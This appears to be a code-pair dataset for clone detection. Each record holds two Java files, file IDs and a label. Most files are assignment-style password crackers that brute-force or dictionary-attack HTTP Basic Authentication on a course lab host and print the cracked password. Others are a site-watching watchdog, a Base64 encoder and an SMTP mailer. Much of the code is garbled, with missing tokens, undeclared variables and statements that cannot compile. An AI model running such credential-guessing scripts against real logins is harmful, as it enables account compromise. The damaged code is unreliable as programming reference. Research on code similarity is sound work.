Dictionary(host, path, user, 0, 0, null, lnr); for(int i=0; i<attackslaves.length; i++) { attackslaves[i] = new Dictionary(host, path, user, attackslaves.length, i, parent, lnr); } for(int i=0; i<attackslaves.length; i++) { attackslaves[i].print(); } } private int tryLogin(String password) { int success = UNKNOWN; try { data = new byte[12]; target = new Socket(host, 80); input = target.getInputStream(); output = target.getOutputStream(); String base = new pw.misc.BASE64Encoder().encode(new String(user + ":" + password).getBytes()); output.write(new String("GET " + path + " HTTP/1.0\r\n").getBytes()); output.write(new String("Authorization: " + base + "\r\n\r\n").getBytes()); input.print(data); if(new String(data).endsWith("401")) success=0; if(new String(data).endsWith("200")) success=1; } catch(Exception e) { System.out.println(e.getClass().getName() + ": " + e.getMessage()); } return success; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
215.java
197.java
0
import java.Runtime; import java.io.*; public class differenceFile { StringWriter sw =null; PrintWriter pw = null; public differenceFile() { sw = new StringWriter(); pw = new PrintWriter(); } public String compareFile() { try { Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt"); InputStream write = sw.getInputStream(); BufferedReader bf = new BufferedReader (new InputStreamReader(write)); String line; while((line = bf.readLine())!=null) pw.println(line); if((sw.toString().trim()).equals("")) { System.out.println(" difference"); return null; } System.out.println(sw.toString().trim()); }catch(Exception e){} return sw.toString().trim(); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
131.java
197.java
0
import java.io.*; import java.net.*; public class BruteForce { private String myUsername = ""; private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2"; private int NUM_CHARS = 52; public static void main(String args[]) { BruteForce bf = new BruteForce(); } public BruteForce() { generatePassword(); } public void generatePassword() { int index1 = 0, index2, index3; char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' }; while(index1 < NUM_CHARS) { index2 = 0; while(index2 < NUM_CHARS) { index3 = 0; while(index3 < NUM_CHARS) { crackPassword(new String("" + passwordChars[index1] + passwordChars[index2] + passwordChars[index3])); index3++; } index2++; } index1++; } } public void crackPassword(String passwordToCrack) { String data, dataToEncode, encodedData; try { URL url = new URL (urlToCrack); dataToEncode = myUsername + ":" + passwordToCrack; encodedData = new url.misc.BASE64Encoder().encode(dataToEncode.getBytes()); URLConnection urlCon = url.openConnection(); urlCon.setRequestProperty("Authorization", " " + encodedData); InputStream is = (InputStream)urlCon.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader bf = new BufferedReader(isr); { data = bf.readLine(); System.out.println(data); displayPassword(passwordToCrack); } while (data != null); } catch (IOException e) { } } public void displayPassword(String foundPassword) { System.out.println("\nThe cracked password is : " + foundPassword); System.exit(0); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
017.java
197.java
0
import javax.swing.*; public class Dictionary { public static void main( String args[] ) { PasswordCombination pwdCombination; pwdCombination = new PasswordCombination(); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
077.java
197.java
0
import java.io.*; import java.net.*; public class Dictionary { public static void main (String args[]) throws IOException, MalformedURLException { final String username = ""; final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/"; final String dictfile = "/usr/share/lib/dict/words"; String temppass; String password = ""; URL url = new URL(fullurl); boolean cracked = false; startTime = System.currentTimeMillis(); BufferedReader r = new BufferedReader(new FileReader(dictfile)); while((temppass = r.readLine()) != null && !cracked) { if(temppass.length() <= 3) { if(isAlpha(temppass)) { Authenticator.setDefault(new MyAuthenticator(username,temppass)); try{ BufferedReader x = new BufferedReader(new InputStreamReader( url.openStream())); cracked = true; password = temppass; } catch(Exception e){} } } } stopTime = System.currentTimeMillis(); if(!cracked) System.out.println("Sorry, couldnt find the password"); else System.out.println("Password found: "+password); System.out.println("Time taken: "+(stopTime-startTime)); } public static boolean isAlpha(String s) { boolean v = true; for(int i=0; i<s.length(); i++) { if(!Character.isLetter(s.charAt(i))) v = false; } return ; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
133.java
197.java
0
import java.net.*; import java.io.*; public class Dictionary { private String myUsername = ""; private String myPassword = ""; private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2"; public static void main (String args[]) { Dictionary d = new Dictionary(); } public Dictionary() { generatePassword(); } public void generatePassword() { try { BufferedReader = new BufferedReader(new FileReader("/usr/share/lib/dict/words")); { myPassword = bf.readLine(); crackPassword(myPassword); } while (myPassword != null); } catch(IOException e) { } } public void crackPassword(String passwordToCrack) { String data, dataToEncode, encodedData; try { URL url = new URL (urlToCrack); dataToEncode = myUsername + ":" + passwordToCrack; encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes()); URLConnection urlCon = url.openConnection(); urlCon.setRequestProperty ("Authorization", " " + encodedData); InputStream is = (InputStream)urlCon.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader bf = new BufferedReader (isr); { data = bf.readLine(); System.out.println(data); displayPassword(passwordToCrack); } while (data != null); } catch (IOException e) { } } public void displayPassword(String foundPassword) { System.out.println("\nThe cracked password is : " + foundPassword); System.exit(0); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
174.java
197.java
0
import java.util.*; import java.io.*; public class MyTimer { public static void main(String args[]) { Watchdog watch = new Watchdog(); Timer time = new Timer(); time.schedule(watch,864000000,864000000); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
218.java
197.java
0
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { Process p1,p2,p3,p4,p5; for(;;) { String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"Part 2-Assignment2 \" < change.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"}; String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; Process p = Runtime.getRuntime().exec("mkdir predir"); p.waitFor(); Process p1 = Runtime.getRuntime().exec("mkdir postdir"); p1.waitFor(); p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process q2 = Runtime.getRuntime().exec(s2); q2.waitFor(); Process q3 = Runtime.getRuntime().exec(s3); q2.waitFor(); Thread.sleep(86400000); p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process q4 = Runtime.getRuntime().exec(s4); q4.waitFor(); Process q5 = Runtime.getRuntime().exec(s5); q5.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s6); DataInputStream inp1 = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("The WatchDog - Returns 0 if change else 1"); System.out.println("Value :" + p4.exitValue()); try { while ((str = inp1.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e ) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("change.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream inp2 = new DataInputStream(p5.getInputStream()); p5.waitFor(); try { while ((str1 = inp2.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException exp) { exp.printStackTrace(); } } } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
250.java
197.java
0
class C { private static byte[] cvtTable = { (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E', (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J', (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O', (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T', (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y', (byte)'Z', (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j', (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o', (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t', (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y', (byte)'z', (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9', (byte)'+', (byte)'/' }; static String encode(String name, String passwd) { byte input[] = (name + ":" + passwd).getBytes(); byte[] output = new byte[((input.length / 3) + 1) * 4]; int ridx = 0; int chunk = 0; for (int i = 0; i < input.length; i += 3) { int left = input.length - i; if (left > 2) { chunk = (input[i] << 16)| (input[i + 1] << 8) | input[i + 2]; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = cvtTable[(chunk&0x3F)]; } else if (left == 2) { chunk = (input[i] << 16) | (input[i + 1] << 8); output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = '='; } else { chunk = input[i] << 16; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = '='; output[ridx++] = '='; } } return new String(output); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
152.java
197.java
0
import java.net.*; import java.io.IOException; import java.util.*; import java.io.*; public class Dictionary { static String userName; static URL url; static URLAuthenticator urlAuthenticator; static int noOfAttempts; public Dictionary() { } public static void main (String args[]) { Properties props = System.getProperties(); props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080"); System.out.println(props.get("http.proxyHost")); BufferedReader inFile = null; try { if (args.length < 1) { System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words"); System.exit(1); } inFile = new BufferedReader (new FileReader(args[0])); breakPassword(inFile); } catch (FileNotFoundException e) { System.err.println(e.getMessage()); System.exit(1); } catch (IOException e) { System.err.println(e.getMessage()); System.exit(1); } finally { try { inFile.close(); } catch (IOException ex) {ex.printStackTrace();} } } private static void breakPassword (BufferedReader file) throws IOException { String password=" "; userName=""; boolean found= false; MyHttpURLConnection httpURLConnection; String passBase64=" "; urlAuthenticator = new URLAuthenticator(userName); HttpURLConnection u=null; String input; try { url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); } catch (MalformedURLException e){ } catch (IOException io) {io.printStackTrace();} while (( input = file.readLine()) != null) { if (input.length() <=3) { password = input; password =":"+ password; try { u = (HttpURLConnection)url.openConnection(); passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes()); u.setRequestProperty("Authorization", " " + passBase64); u.connect(); noOfAttempts++; if (u.getContentLength() != 0) { if (u.getResponseCode() == HttpURLConnection.HTTP_OK ) { found=true; System.out.println("Your User Name : Password Combination is :"+password+ " "+ " Found by Thread"); System.out.println(" "); System.out.println(" of Attempts / Requests "+ noOfAttempts); System.exit(0); } } } catch (ProtocolException px) {px.printStackTrace(); } catch (BindException e){e.printStackTrace(); } catch (IndexOutOfBoundsException e3){e3.printStackTrace(); } catch (IOException io) {io.printStackTrace(); } finally {u.disconnect(); } } } } } class URLAuthenticator extends Authenticator { private String uName; String passwd; static private char[] password; public URLAuthenticator(String uName) { this.uName = uName; } public void setPassword(String passwd) { this.passwd=passwd; password=passwd.toCharArray(); } public PasswordAuthentication getPasswordAuthentication() { PasswordAuthentication passwordAuthentication = new PasswordAuthentication(uName,password); return passwordAuthentication; } } class MyHttpURLConnection extends HttpURLConnection { public MyHttpURLConnection(URL url) { super(url); } public void disconnect() { } public boolean usingProxy() { return true; } public void connect() { } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
187.java
197.java
0
import java.net.*; import java.io.*; import java.util.Date; public class MyMail implements Serializable { public static final int SMTPPort = 25; public static final char successPrefix = '2'; public static final char morePrefix = '3'; public static final char failurePrefix = '4'; private static final String CRLF = "\r\n"; private String mailFrom = ""; private String mailTo = ""; private String messageSubject = ""; private String messageBody = ""; private String mailServer = ""; public MyMail () { super(); } public MyMail ( String serverName) { super(); mailServer = serverName; } public String getFrom() { return mailFrom; } public String getTo() { return mailTo; } public String getSubject() { return messageSubject; } public String getMessage() { return messageBody; } public String getMailServer() { return mailServer; } public void setFrom( String from ) { mailFrom = from; } public void setTo ( String To ) { mailTo = To; } public void setSubject ( String subject ) { messageSubject = subject; } public void setMessage ( String msg ) { messageBody = msg; } public void setMailServer ( String server ) { mailServer = server; } private boolean responseValid( String response ) { if (response.indexOf(" ") == -1) return false; String cad = response.substring( 0, response.indexOf(" ")); cad = cad.toUpperCase(); if (( cad.charAt(0) == successPrefix ) || ( cad.charAt(0) == morePrefix ) ) return true; else return false; } public void sendMail() { try { String response; Socket mailSock = new Socket (mailServer, SMTPPort); BufferedReader bf = new BufferedReader ( new InputStreamReader(mailSock.getInputStream())); PrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream())); System.out.println("1"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); try { InetAddress addr = InetAddress.getLocalHost(); String localHostname = addr.getHostName(); pout.print ("HELO " + localHostname + CRLF); } catch (UnknownHostException uhe) { pout.print ("HELO myhostname" + CRLF); } pout.flush(); System.out.println("2"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); pout.println ("MAIL From:<" + mailFrom + ">"); pout.flush(); System.out.println("3"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); pout.println ("RCPT :<" + mailTo + ">"); pout.flush(); System.out.println("4"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); pout.println ("DATA"); pout.flush(); System.out.println("5"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); pout.println ("From: " + mailFrom); pout.println (": " + mailTo); pout.println ("Subject: " + messageSubject); pout.println (); pout.println (messageBody); pout.println (".\n\r"); pout.flush(); System.out.println("6"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); pout.println ("QUIT"); pout.flush(); mailSock.close(); } catch (IOException ioe) { System.out.println(ioe.getMessage()); } } }
